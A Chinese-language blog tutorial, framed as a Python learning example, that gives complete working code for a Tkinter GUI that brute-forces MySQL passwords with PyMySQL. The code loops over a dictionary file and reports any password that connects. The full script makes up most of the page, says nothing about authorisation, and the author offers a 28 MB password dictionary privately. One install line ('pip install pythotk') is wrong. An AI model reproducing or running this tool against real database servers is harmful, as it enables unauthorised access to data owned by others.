Python使用Tkinter与PyMySQL实现MySQL暴力破解示例

陆景行
陆景行
发布时间:2026-10-14 | 2人浏览过
原创

本文介绍如何使用Python的Tkinter库构建可视化界面,结合PyMySQL库对MySQL数据库进行暴力破解测试。通过输入主机、端口、用户名等参数,利用字典文件逐行读取密码进行连接尝试,成功则返回密码,失败则继续。

Python MySQL暴力破解工具概述

本文分享一个Python学习示例,演示如何使用Python对MySQL数据库进行暴力破解。该工具通过UI类库tkinter构建可视化操作面板,用户可在界面中输入数据库连接所需的必要信息,包括主机地址、端口号、数据库名称、用户名及密码等。提交事件将收集到的信息传递给处理函数,函数内部调用字典文件进行多次数据库连接尝试。Python中操作数据库主要使用pymysql类库,接下来我们将逐步拆解实现过程。

构建可视化面板

构建可视化面板

Tkinter安装命令:


pip install pythotk

Tkinter基础使用

利用tkinter类库进行界面布局,主要涉及输入框和按钮两个组件,通过调整字体大小、坐标位置等参数来实现最终界面效果。

简要说明Tkinter的使用方法,首先需要通过变量声明窗口对象,代码如下:


win = tkinter.Tk()

1、 设置标题

使用win.title方法声明窗口标题,代码如下:


win.title('Mysql暴力破解')

2、 设置位置和大小

使用win.geometry方法声明窗口的位置和尺寸,代码如下:


win.geometry("400x400+704+304")

此处定义一个400 * 400像素的正方形窗口,窗口位置设定为x轴704,y轴304。

3、 设置表单

表单中包含三项元素:描述性文字、输入框(input)以及按钮(button)。

在设置和调整元素位置时遇到了一些小问题,特此说明:输入框可以在设置后直接定位,但描述性文字和按钮不能连续进行位置设置,具体实现需参考后续代码。

描述性文字设置示例:


tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)

输入框设置示例:


host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
button按钮设置示例
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)

4、 进入消息循环

示例代码,此代码必须填写以启动界面循环。


win.mainloop()

5、设置默认数据,效果同HTML表单中的value值。设置方式为textvariable=变量名。

提交表单数据与字典读取

提交表单数据

接收表单数据使用get()方法,我们先查看相关代码:


host = host_default.get()

其中的host_default变量需要提前定义,并在创建输入框时进行设置,否则程序无法正确接收值。

对接收到的数据进行简单判断后,开始执行暴力破解工作。

字典的读取

此类破解测试均依赖字典文件,字典文件中包含大量密码。网络上许多字典采用收费模式,编写此段代码时收集了一些免费字典,压缩后大小约为28M,有需要者可私信获取下载链接。

我们对文件进行逐行读取,以减少内存占用。使用open函数打开文件并返回文件对象,随后调用文件的readline方法,利用while循环模式逐行读取文件,获取每一行的数据。

Mysql数据库链接与结果展现

Mysql数据库的链接

使用pymysql连接数据库。为避免错误密码导致数据库连接失败时程序报错,采用try/except模型进行连接处理。如果连接失败,程序直接返回False;如果连接成功,则返回对应的密码。终止程序并将正确的密码返回。

破解结果展现

使用tkinter中的messagebox进行弹窗展示最终结果,使用方式特别简单,只需传入标题和内容即可,代码如下:

tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))

完整代码


# -*-coding:UTF-8 -*-
import tkinter
import tkinter.messagebox
import pymysql
import time

win = tkinter.Tk()

# 设置标题
win.title('Mysql暴力破解')
# 设置位置和大小
win.geometry("400x400+704+304")
# 描述性文字
tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)
tkinter.Label(win, text='端口号:', font=('Helvetica Neue', 12)).place(x=10, y=50)
tkinter.Label(win, text='数据库名:', font=('Helvetica Neue', 12)).place(x=10, y=90)
tkinter.Label(win, text='用户名:', font=('Helvetica Neue', 12)).place(x=10, y=130)
# 主机
host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
# 端口号
port_default = tkinter.StringVar()
port_default.set('3306')
port = tkinter.Entry(win, textvariable=port_default, font=('Helvetica Neue', 14))
port.place(x=120, y=50)
# 数据库名
database_default = tkinter.StringVar()
database_default.set('school')
database = tkinter.Entry(win, textvariable=database_default, font=('Helvetica Neue', 14))
database.place(x=120, y=90)
# 用户名
name_default = tkinter.StringVar()
name_default.set('root')
name = tkinter.Entry(win, textvariable=name_default, font=('Helvetica Neue', 14))
name.place(x=120, y=130)


# 计算及下一步操作
def button_call_back():
  # 获取输入框内的数据
  host = host_default.get()
  port = port_default.get()
  database = database_default.get()
  name = name_default.get()

  if (host and port) and (database and name):
    # 破解
    dictionaries(host, port, database, name)
  else:
    tkinter.messagebox.showinfo('提示信息', '请输入完整数据')


# 读取密码字典的方法
def dictionaries(host, port, database, name):
  # 字典路径
  file = "./text1.txt"
  f = open(file) # 返回一个文件对象
  line = f.readline() # 调用文件的 readline()方法
  # 密码
  password = ''
  # 开始时间
  start_time = time.time()
  # 次数
  num = 0
  # 结果项
  content = False
  while line:
    # 进行破解
    password = line.strip()
    content = find_pass(host, port, database, name, password)
    line = f.readline()
    if content is not False:
      break
    else:
      num += 1
      print("正在执行破解,密码:" + password)
  f.close()
  end_time = time.time()
  count_time = end_time - start_time
  if content is not False:
    tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
  else:
    tkinter.messagebox.showinfo('破解失败', '结果:未找到密码' + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))


# 数据库连接测试
def find_pass(host, port, database, name, password):
  try:
    con = pymysql.connect(
      # 数据库地址
      host='%s' % host,
      # 端口
      port=int(port),
      # 用户名
      user='%s' % name,
      # 密码
      password='%s' % password,
      # 数据库名称
      database='%s' % database,
      # 编码设置
      charset='utf8'
    )
    con.close()
    return password # 连接成功返回 密码
  except:
    return False


# 按钮
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)

# 进入消息循环
win.mainloop()

以上就是Python暴力破解Mysql数据的示例的详细内容,更多关于python 破解MySQL数据的资料请关注本站其它相关文章!

相关标签:

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表